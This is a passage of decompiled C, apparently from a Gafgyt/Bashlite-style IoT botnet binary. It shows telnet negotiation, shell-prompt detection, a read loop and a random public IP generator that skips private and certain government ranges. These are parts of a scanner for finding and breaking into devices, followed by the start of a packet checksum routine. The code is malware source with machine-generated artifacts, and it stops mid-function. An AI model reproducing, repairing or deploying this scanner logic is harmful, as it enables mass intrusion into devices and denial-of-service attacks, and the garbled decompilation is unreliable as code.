char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
char * v29 = (char *)(a2 + 1); | |
unsigned char v30 = *v29; // 0x8049733 | |
if (v30 < 251) { | |
// 0x8049847 | |
return 0; | |
} | |
// 0x8049749 | |
if (v30 == -1) { | |
// 0x8049752 | |
// branch -> 0x8049847 | |
} else { | |
int32_t buf = -1; | |
send(sock, (char *)&buf, 1, MSG_NOSIGNAL); | |
if (*v29 != -4) { | |
// 0x80497a3 | |
if (*v29 == -2) { | |
// 0x80497ae | |
buf = -4; | |
// branch -> 0x80497f9 | |
// 0x80497f9 | |
send(sock, (char *)&buf, 1, MSG_NOSIGNAL); | |
send(sock, (char *)(a2 + 2), 1, MSG_NOSIGNAL); | |
// branch -> 0x8049847 | |
// 0x8049847 | |
return 0; | |
} | |
char v31 = *v29; // 0x80497c3 | |
if (*v29 == 3) { | |
// 0x80497bf | |
buf = 0x1000000 * (v31 == -3 ? 251 : 253) / 0x1000000; | |
// branch -> 0x80497f9 | |
} else { | |
// 0x80497dd | |
buf = 0x1000000 * (v31 == -3 ? 252 : 254) / 0x1000000; | |
// branch -> 0x80497f9 | |
} | |
// 0x80497f9 | |
send(sock, (char *)&buf, 1, MSG_NOSIGNAL); | |
send(sock, (char *)(a2 + 2), 1, MSG_NOSIGNAL); | |
// branch -> 0x8049847 | |
// 0x8049847 | |
return 0; | |
} | |
// 0x804979d | |
buf = -2; | |
// branch -> 0x80497f9 | |
// 0x80497f9 | |
send(sock, (char *)&buf, 1, MSG_NOSIGNAL); | |
send(sock, (char *)(a2 + 2), 1, MSG_NOSIGNAL); | |
// branch -> 0x8049847 | |
} | |
// 0x8049847 | |
return 0; | |
} | |
// Address range: 0x804984c - 0x8049952 | |
int32_t matchPrompt(char * str) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t len = strlen(str); | |
if (strlen(":>%$#") != 0) { | |
int32_t v29 = 0; | |
int32_t v30 = 0; // 0x80498fb2667 | |
// branch -> 0x804988b | |
lab_0x804988b: | |
while (true) { | |
int32_t v31 = v30; | |
unsigned char v32; // 0x8049904 | |
char v33; // 0x804990d | |
if (len <= v30) { | |
// 0x80498f3 | |
if ((int32_t)v32 != (int32_t)v33) { | |
goto lab_0x804991d_2; | |
} | |
// 0x804994a | |
return 1; | |
} | |
int32_t v34 = v30; // 0x80498fb2737 | |
while (true) { | |
char * v35 = (char *)(len + (int32_t)str - v34); | |
if (*v35 != 0) { | |
// 0x80498ab | |
if (*v35 != 32) { | |
// 0x80498c3 | |
if (*v35 != 13) { | |
// 0x80498db | |
if (*v35 != 10) { | |
v31 = v34; | |
// 0x80498f3 | |
if ((int32_t)v32 == (int32_t)v33) { | |
// 0x804994a | |
return 1; | |
} | |
lab_0x804991d_2:; | |
int32_t v36 = v29 + 1; // 0x804991d | |
if (v36 >= strlen(":>%$#")) { | |
// break (via goto) -> 0x804994a | |
goto lab_0x804994a; | |
} | |
v29 = v36; | |
v30 = v31; | |
// continue (via goto) -> 0x804988b | |
goto lab_0x804988b; | |
} | |
} | |
} | |
} | |
int32_t v37 = v34 + 1; // 0x8049888 | |
if (len <= v37) { | |
v31 = v37; | |
// break -> 0x80498f3 | |
break; | |
} | |
v34 = v37; | |
// continue -> 0x8049893 | |
} | |
// 0x80498f3 | |
if ((int32_t)v32 != (int32_t)v33) { | |
goto lab_0x804991d_2; | |
} | |
// 0x804994a | |
return 1; | |
} | |
} | |
lab_0x804994a: | |
// 0x804994a | |
return 0; | |
} | |
// Address range: 0x8049953 - 0x8049b45 | |
int32_t readUntil(char * sock, struct _TYPEDEF_fd_set * str2, int32_t a3, int32_t timeout, uint32_t a5, int32_t a6, int32_t a7, int32_t a8) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
char * str = (char *)a6; | |
if (a8 + 2 < a7) { | |
while (true) { | |
// 0x8049aff | |
if (timeout <= 0) { | |
// 0x8049b0d | |
if (a5 <= 0) { | |
// 0x8049b1b | |
// branch -> 0x8049b37 | |
// 0x8049b37 | |
return 0; | |
} | |
} | |
// 0x804998f | |
int32_t readfds; | |
memset((char *)&readfds, 0, 32); | |
uint32_t v29 = (int32_t)sock; | |
int32_t v30; | |
int32_t * v31 = (int32_t *)((int32_t)&v30 - 156 + 4 * v29 / 32); // 0x80499b6_0 | |
*v31 = 1 << v29 % 32 | *v31; | |
uint32_t v32 = select((int32_t)sock + 1, (struct _TYPEDEF_fd_set *)&readfds, NULL, NULL, (struct timeval *)&timeout); // 0x80499e9 | |
if (v32 < 1) { | |
// 0x8049b1b | |
// branch -> 0x8049b37 | |
// 0x8049b37 | |
return 0; | |
} | |
int32_t v33 = a8 + a6; // 0x80499f9 | |
char * buf = (char *)v33; | |
int32_t v34 = recv((int32_t)sock, buf, 1, 0); // 0x8049a1c | |
if (v34 == -1 || v34 == 0) { | |
// 0x8049b37 | |
return 0; | |
} | |
int32_t v35 = v34 + a8; // 0x8049a42 | |
if (*buf == -1) { | |
int32_t v36 = recv((int32_t)sock, (char *)(v33 + 1), 2, 0); // 0x8049a6d | |
if (v36 != -1) { | |
// 0x8049a7b | |
if (v36 != 0) { | |
// 0x8049a90 | |
negotiate((int32_t)sock, v33); | |
// branch -> 0x8049b37 | |
// 0x8049b37 | |
return 0; | |
} | |
} | |
// 0x8049b37 | |
return 0; | |
} | |
bool v37 = false; // 0x8049b1b26 | |
if (strstr(str, (char *)str2) == NULL) { | |
// 0x8049ad6 | |
if (a3 != 0) { | |
// 0x8049adc | |
if (matchPrompt(str) != 0) { | |
// 0x8049b1b | |
// branch -> 0x8049b37 | |
// 0x8049b37 | |
return 1; | |
} | |
} | |
// 0x8049af4 | |
if (v35 + 2 < a7) { | |
// 0x8049af4 | |
a8 = v35; | |
// branch -> 0x8049aff | |
continue; | |
} else { | |
v37 = true; | |
} | |
} | |
// 0x8049b1b | |
// branch -> 0x8049b37 | |
// 0x8049b37 | |
return (int32_t)v37 ^ 1; | |
} | |
} | |
// 0x8049b1b | |
// branch -> 0x8049b37 | |
// 0x8049b37 | |
return 0; | |
} | |
// Address range: 0x8049b46 - 0x804a487 | |
int32_t getRandomPublicIP(void) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
int32_t v15; // 0x805b4a0 | |
int32_t v16; // 0x805b4a4 | |
int32_t v17; // 0x805b4a8 | |
int64_t v18; // 0x805d49f | |
char * v19; // 0x805f4a0 | |
int32_t v20; // 0x8061708 | |
int32_t v21; // 0x806170c | |
char * v22; // 0x8061710 | |
bool v23; | |
int32_t v24; // 0x8049bf6 | |
int32_t v25; // 0x8049c36 | |
int32_t v26; // 0x8049c76 | |
int32_t v27; // 0x8049cb6 | |
char v28; // 0x805b496 | |
char v29; // 0x805b497 | |
char v30; // 0x805b498 | |
char v31; // 0x805b499 | |
unsigned char v32; // 0x8049dfb | |
if (v29 != 0) { | |
// 0x8049b5e | |
char v33; // 0x805b49a | |
int32_t result; | |
if (v33 != -1) { | |
// 0x8049b6d | |
v33 = (int32_t)v33 + 1; | |
int32_t cp = 0; | |
szprintf((int32_t)&cp); | |
result = inet_addr((char *)&cp); | |
// branch -> 0x804a47d | |
// 0x804a47d | |
return result; | |
} | |
// 0x8049bf6 | |
v24 = rand(); | |
v28 = v24 - 255 * v24 / 51; | |
v25 = rand(); | |
v29 = v25 - 255 * v25 / 51; | |
v26 = rand(); | |
v30 = v26 - 255 * v26 / 51; | |
v27 = rand(); | |
int32_t v34 = v27 - 255 * v27 / 51; | |
// branch -> 0x8049dfb | |
while (true) { | |
// 0x8049dfb | |
v31 = v34; | |
v32 = v28; | |
int32_t v35; // 0x8049cfb | |
int32_t v36; // 0x8049d3b | |
int32_t v37; // 0x8049d7b | |
int32_t v38; // 0x8049dbb | |
if (v32 != 0) { | |
lab_0x8049e0a: | |
// 0x8049e0a | |
if (v32 != 10) { | |
// 0x8049e19 | |
bool v39; // 0x8049e95406 | |
int32_t v40; // 0x8049ded | |
if (v32 == 100) { | |
// 0x8049e24 | |
if (v29 < 64) { | |
// 0x8049e4d | |
// branch -> 0x8049e67 | |
lab_0x8049e67: | |
// 0x8049e67 | |
// branch -> 0x8049e8c | |
lab_0x8049e8c: | |
// 0x8049e8c | |
// branch -> 0x8049ed6 | |
lab_0x8049ed6: | |
// 0x8049ed6 | |
v39 = false; | |
// branch -> 0x8049ef0 | |
lab_0x8049ef0_3: | |
// 0x8049ef0 | |
if (v32 == -58) { | |
char v41 = v29; // 0x8049efb | |
if (v41 != 18) { | |
// 0x8049f0a | |
if (v41 != 19) { | |
// 0x8049f24 | |
if (v41 == 51) { | |
// 0x8049f2f | |
if (v30 == 100) { | |
lab_0x8049cfb_10: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
continue; | |
} | |
} | |
// 0x8049f3e | |
// branch -> 0x8049f63 | |
lab_0x8049f63_2: | |
// 0x8049f63 | |
// branch -> 0x8049fad | |
lab_0x8049fad: | |
// 0x8049fad | |
if (v32 == -71) { | |
lab_0x8049fb8:; | |
char v42 = v29; // 0x8049fb8 | |
if (v42 == 62) { | |
// 0x8049fc3 | |
if (v30 == -66) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x8049fe8 | |
if (v30 == -67) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a00d | |
if (v30 == -68) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a041 | |
// branch -> 0x804a0bb | |
lab_0x804a0bb: | |
// 0x804a0bb | |
// branch -> 0x804a0fa | |
lab_0x804a0fa_2: | |
// 0x804a0fa | |
// branch -> 0x804a169 | |
lab_0x804a169_4: | |
// 0x804a169 | |
if (v32 == -94) { | |
lab_0x804a174: | |
// 0x804a174 | |
if (v29 == -5) { | |
// 0x804a17f | |
if (v30 == 120) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a18e | |
// branch -> 0x804a1d8 | |
lab_0x804a1d8_2: | |
// 0x804a1d8 | |
// branch -> 0x804a1fd | |
lab_0x804a1fd_2: | |
// 0x804a1fd | |
if (v39) { | |
lab_0x804a208: | |
// 0x804a208 | |
if (v29 == -69) { | |
// 0x804a213 | |
if (v30 == 113) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a222 | |
if (v32 == -58) { | |
lab_0x804a22d: | |
// 0x804a22d | |
if (v29 == -52) { | |
// 0x804a238 | |
if (v30 == -15) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a247 | |
// branch -> 0x804a291 | |
lab_0x804a291_2:; | |
// 0x804a291 | |
int32_t cp2; | |
if (v32 == -48) { | |
lab_0x804a29c:; | |
char v43 = v29; // 0x804a29c | |
if (v43 == 110) { | |
// 0x804a2a7 | |
if (v30 == 64) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a2cc | |
if (v30 == 72) { | |
goto lab_0x8049cfb_10; | |
} | |
lab_0x804a2db: | |
// 0x804a2db | |
if (v43 == 67) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a33f | |
// branch -> 0x804a3f8 | |
lab_0x804a3f8_2: | |
// 0x804a3f8 | |
if (v32 > 223) { | |
goto lab_0x8049cfb_10; | |
} | |
// 0x804a407 | |
cp2 = 0; | |
szprintf((int32_t)&cp2); | |
result = inet_addr((char *)&cp2); | |
// branch -> 0x804a47d | |
// 0x804a47d | |
return result; | |
} | |
// 0x804a2c1 | |
// branch -> 0x804a2db | |
goto lab_0x804a2db; | |
lab_0x8049cfb_18: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
continue; | |
} else { | |
lab_0x804a2f5_3: | |
// 0x804a2f5 | |
if (v32 != 94) { | |
// 0x804a31a | |
if (v32 == 93) { | |
// 0x804a325 | |
if (v29 != -82) { | |
goto lab_0x804a33f_3; | |
} | |
// 0x804a330 | |
if (v30 == 88) { | |
goto lab_0x8049cfb_18; | |
} | |
goto lab_0x804a33f_3; | |
lab_0x804a3f8_3: | |
// 0x804a3f8 | |
if (v32 > 223) { | |
goto lab_0x8049cfb_18; | |
} | |
// 0x804a407 | |
cp2 = 0; | |
szprintf((int32_t)&cp2); | |
int32_t v44 = inet_addr((char *)&cp2); // 0x804a475 | |
result = v44; | |
// branch -> 0x804a47d | |
// 0x804a47d | |
return result; | |
} | |
// 0x804a33f | |
if (v32 != 89) { | |
goto lab_0x804a3f8_2; | |
} | |
// 0x804a34a | |
if (v29 != -8) { | |
// 0x804a3d3 | |
// branch -> 0x804a3f8 | |
// 0x804a3f8 | |
// branch -> 0x804a407 | |
// 0x804a407 | |
cp2 = 0; | |
szprintf((int32_t)&cp2); | |
result = inet_addr((char *)&cp2); | |
// branch -> 0x804a47d | |
// 0x804a47d | |
return result; | |
} | |
// 0x804a355 | |
if (v30 == -82) { | |
goto lab_0x8049cfb_18; | |
} | |
// 0x804a37a | |
if (v30 == -84) { | |
goto lab_0x8049cfb_18; | |
} | |
// 0x804a39f | |
if (v30 == -86) { | |
goto lab_0x8049cfb_18; | |
} | |
// 0x804a3c4 | |
if (v30 == -87) { | |
goto lab_0x8049cfb_18; | |
} | |
// 0x804a3e9 | |
if (v30 == -96) { | |
goto lab_0x8049cfb_18; | |
} | |
// 0x804a3f8 | |
// branch -> 0x804a407 | |
// 0x804a407 | |
cp2 = 0; | |
szprintf((int32_t)&cp2); | |
result = inet_addr((char *)&cp2); | |
// branch -> 0x804a47d | |
// 0x804a47d | |
return result; | |
} | |
// 0x804a300 | |
if (v29 == 102) { | |
// 0x804a30b | |
if (v30 == 48) { | |
goto lab_0x8049cfb_18; | |
} | |
// 0x804a31a | |
// branch -> 0x804a33f | |
lab_0x804a33f_3: | |
// 0x804a33f | |
// branch -> 0x804a3f8 | |
goto lab_0x804a3f8_2; | |
} | |
// 0x804a31a | |
// branch -> 0x804a33f | |
goto lab_0x804a33f_3; | |
// 0x804a33f | |
// branch -> 0x804a3f8 | |
goto lab_0x804a3f8_3; | |
} | |
lab_0x8049cfb_28: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
continue; | |
} | |
// 0x804a247 | |
// branch -> 0x804a291 | |
goto lab_0x804a291_2; | |
} else { | |
lab_0x804a247: | |
// 0x804a247 | |
if (v32 != -52) { | |
goto lab_0x804a291_2; | |
} | |
char v45 = v29; // 0x804a252 | |
if (v45 == 10) { | |
// 0x804a25d | |
if (v30 == -96) { | |
goto lab_0x8049cfb_28; | |
} | |
// 0x804a277 | |
// branch -> 0x804a291 | |
} else { | |
// 0x804a277 | |
if (v45 == 12) { | |
// 0x804a282 | |
if (v30 == -64) { | |
goto lab_0x8049cfb_28; | |
} | |
// 0x804a291 | |
// branch -> 0x804a2f5 | |
goto lab_0x804a2f5_3; | |
} | |
} | |
// 0x804a291 | |
// branch -> 0x804a2f5 | |
goto lab_0x804a2f5_3; | |
} | |
// 0x804a291 | |
if (v32 == -48) { | |
goto lab_0x804a29c; | |
} | |
goto lab_0x804a2f5_3; | |
} | |
} | |
lab_0x804a222: | |
// 0x804a222 | |
if (v32 == -58) { | |
goto lab_0x804a22d; | |
} | |
goto lab_0x804a247; | |
} | |
// 0x804a18e | |
// branch -> 0x804a1d8 | |
goto lab_0x804a1d8_2; | |
} else { | |
lab_0x804a18e_2: | |
// 0x804a18e | |
if (v32 != -83) { | |
goto lab_0x804a1d8_2; | |
} | |
// 0x804a199 | |
if (v29 == -48) { | |
// 0x804a1a4 | |
if (v30 == -128) { | |
goto lab_0x8049cfb_28; | |
} | |
// 0x804a1c9 | |
if (v30 == -76) { | |
goto lab_0x8049cfb_28; | |
} | |
// 0x804a1ee | |
if (v30 == -6) { | |
goto lab_0x8049cfb_28; | |
} | |
goto lab_0x804a1fd_2; | |
} else { | |
// 0x804a1d8 | |
// branch -> 0x804a1fd | |
goto lab_0x804a1fd_2; | |
} | |
lab_0x804a1fd_3: | |
// 0x804a1fd | |
if (v39) { | |
goto lab_0x804a208; | |
} | |
goto lab_0x804a222; | |
} | |
lab_0x804a1d8_4: | |
// 0x804a1d8 | |
// branch -> 0x804a1fd | |
goto lab_0x804a1fd_3; | |
} else { | |
// 0x804a027 | |
if (v42 == 61) { | |
// 0x804a032 | |
if (v30 == -119) { | |
goto lab_0x8049cfb_28; | |
} | |
// 0x804a057 | |
if (v30 == -120) { | |
goto lab_0x8049cfb_28; | |
} | |
goto lab_0x804a0bb; | |
} else { | |
// 0x804a071 | |
if (v42 == 11) { | |
// 0x804a07c | |
if (v30 == -109) { | |
goto lab_0x8049cfb_28; | |
} | |
// 0x804a0a1 | |
if (v30 == -110) { | |
goto lab_0x8049cfb_28; | |
} | |
// 0x804a0c6 | |
if (v30 == -111) { | |
goto lab_0x8049cfb_28; | |
} | |
goto lab_0x804a0fa_2; | |
} else { | |
// 0x804a0bb | |
// branch -> 0x804a0fa | |
goto lab_0x804a0fa_2; | |
} | |
// 0x804a0fa | |
// branch -> 0x804a169 | |
goto lab_0x804a169_4; | |
} | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v40 = v38 - 255 * v38 / 51; | |
v34 = v40; | |
// branch -> 0x8049dfb | |
continue; | |
} | |
lab_0x8049cfb_32: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
continue; | |
} else { | |
lab_0x804a0d5_3: | |
// 0x804a0d5 | |
if (v32 == 63) { | |
// 0x804a0e0 | |
if (v29 == -115) { | |
// 0x804a0eb | |
if (v30 == -15) { | |
goto lab_0x8049cfb_32; | |
} | |
// 0x804a0fa | |
// branch -> 0x804a169 | |
goto lab_0x804a169_4; | |
} | |
// 0x804a0fa | |
// branch -> 0x804a169 | |
goto lab_0x804a169_4; | |
} else { | |
// 0x804a0fa | |
if (v32 != 69) { | |
goto lab_0x804a169_4; | |
} | |
char v46 = v29; // 0x804a105 | |
if (v46 == 30) { | |
// 0x804a110 | |
if (v30 == -64) { | |
goto lab_0x8049cfb_32; | |
} | |
// 0x804a135 | |
if (v30 == -12) { | |
goto lab_0x8049cfb_32; | |
} | |
lab_0x804a144: | |
// 0x804a144 | |
if (v46 == -59) { | |
lab_0x804a15a: | |
// 0x804a15a | |
if (v30 == -128) { | |
goto lab_0x8049cfb_32; | |
} | |
// 0x804a18e | |
// branch -> 0x804a1d8 | |
goto lab_0x804a1d8_4; | |
} | |
lab_0x804a18e: | |
// 0x804a18e | |
// branch -> 0x804a1d8 | |
goto lab_0x804a1d8_4; | |
} else { | |
// 0x804a12a | |
// branch -> 0x804a144 | |
goto lab_0x804a144; | |
} | |
// 0x804a144 | |
if (v46 == -59) { | |
goto lab_0x804a15a; | |
} | |
goto lab_0x804a18e; | |
} | |
// 0x804a169 | |
if (v32 == -94) { | |
goto lab_0x804a174; | |
} | |
goto lab_0x804a18e_2; | |
} | |
lab_0x8049cfb_35: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
continue; | |
} | |
} | |
} else { | |
// 0x8049f3e | |
if (v32 == -53) { | |
// 0x8049f49 | |
if (v29 != 0) { | |
goto lab_0x8049f63_2; | |
} | |
// 0x8049f54 | |
if (v30 == 113) { | |
goto lab_0x8049cfb_35; | |
} | |
goto lab_0x8049f63_2; | |
} else { | |
// 0x8049f63 | |
if (v32 != -68) { | |
goto lab_0x8049fad; | |
} | |
// 0x8049f6e | |
if (v29 == -47) { | |
// 0x8049f79 | |
if (v30 == 52) { | |
goto lab_0x8049cfb_35; | |
} | |
// 0x8049f9e | |
if (v30 == 49) { | |
goto lab_0x8049cfb_35; | |
} | |
lab_0x8049fad_2: | |
// 0x8049fad | |
// branch -> 0x804a0d5 | |
goto lab_0x804a0d5_3; | |
} else { | |
// 0x8049f93 | |
// branch -> 0x8049fad | |
goto lab_0x8049fad_2; | |
} | |
// 0x8049fad | |
// branch -> 0x804a0d5 | |
goto lab_0x804a0d5_3; | |
} | |
// 0x8049fad | |
if (v32 == -71) { | |
goto lab_0x8049fb8; | |
} | |
goto lab_0x804a0d5_3; | |
} | |
lab_0x8049cfb_36: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
continue; | |
} else { | |
// 0x8049e2f | |
// branch -> 0x8049cfb | |
goto lab_0x8049cfb_36; | |
} | |
lab_0x8049cfb_43: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
continue; | |
} else { | |
// 0x8049e3e | |
if (v32 == 127) { | |
goto lab_0x8049cfb_43; | |
} | |
// 0x8049e4d | |
if (v32 == -87) { | |
// 0x8049e58 | |
if (v29 == -2) { | |
goto lab_0x8049cfb_43; | |
} | |
goto lab_0x8049e67; | |
} else { | |
// 0x8049e67 | |
if (v32 == -84) { | |
// 0x8049e72 | |
if (v29 > 16) { | |
goto lab_0x8049e8c; | |
} | |
// 0x8049e7d | |
// branch -> 0x8049cfb | |
goto lab_0x8049cfb_43; | |
} else { | |
// 0x8049e8c | |
if (v32 != -64) { | |
goto lab_0x8049ed6; | |
} | |
char v47 = v29; // 0x8049e97 | |
if (v47 == 0) { | |
// 0x8049ea2 | |
if (v30 == 2) { | |
goto lab_0x8049cfb_43; | |
} | |
// 0x8049ebc | |
// branch -> 0x8049ed6 | |
} else { | |
// 0x8049ebc | |
if (v47 == 88) { | |
// 0x8049ec7 | |
if (v30 == 99) { | |
goto lab_0x8049cfb_43; | |
} | |
// 0x8049ed6 | |
if (v47 == -88) { | |
goto lab_0x8049cfb_43; | |
} | |
v39 = true; | |
goto lab_0x8049ef0_3; | |
} | |
} | |
// 0x8049ed6 | |
if (v47 == -88) { | |
goto lab_0x8049cfb_43; | |
} | |
v39 = true; | |
goto lab_0x8049ef0_3; | |
} | |
lab_0x8049ed6_2: | |
// 0x8049ed6 | |
v39 = false; | |
// branch -> 0x8049ef0 | |
goto lab_0x8049ef0_3; | |
} | |
// 0x8049e8c | |
// branch -> 0x8049ed6 | |
goto lab_0x8049ed6_2; | |
} | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v40 = v38 - 255 * v38 / 51; | |
v34 = v40; | |
// branch -> 0x8049dfb | |
continue; | |
} | |
} | |
lab_0x8049cfb_44: | |
// 0x8049cfb | |
v35 = rand(); | |
v28 = v35 - 255 * v35 / 51; | |
v36 = rand(); | |
v29 = v36 - 255 * v36 / 51; | |
v37 = rand(); | |
v30 = v37 - 255 * v37 / 51; | |
v38 = rand(); | |
v34 = v38 - 255 * v38 / 51; | |
// branch -> 0x8049dfb | |
} | |
} | |
// 0x8049bf6 | |
v24 = rand(); | |
v28 = v24 - 255 * v24 / 51; | |
v25 = rand(); | |
v29 = v25 - 255 * v25 / 51; | |
v26 = rand(); | |
v30 = v26 - 255 * v26 / 51; | |
v27 = rand(); | |
// branch -> 0x8049dfb | |
while (true) { | |
// 0x8049dfb | |
v31 = v27 - 255 * v27 / 51; | |
v32 = v28; | |
if (v32 == 0) { | |
goto lab_0x8049cfb_44; | |
} | |
goto lab_0x8049e0a; | |
} | |
} | |
// Address range: 0x804a488 - 0x804a4b3 | |
int32_t getRandomIP(int32_t a1) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
// 0x804a488 | |
int32_t net_long; // 0x8061708 | |
int32_t v28 = ntohl(net_long); // 0x804a496 | |
return rand_cmwc() & -1 - a1 ^ v28 & a1; | |
} | |
// Address range: 0x804a4b4 - 0x804a552 | |
int32_t csum(int16_t * a1, int32_t a2) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
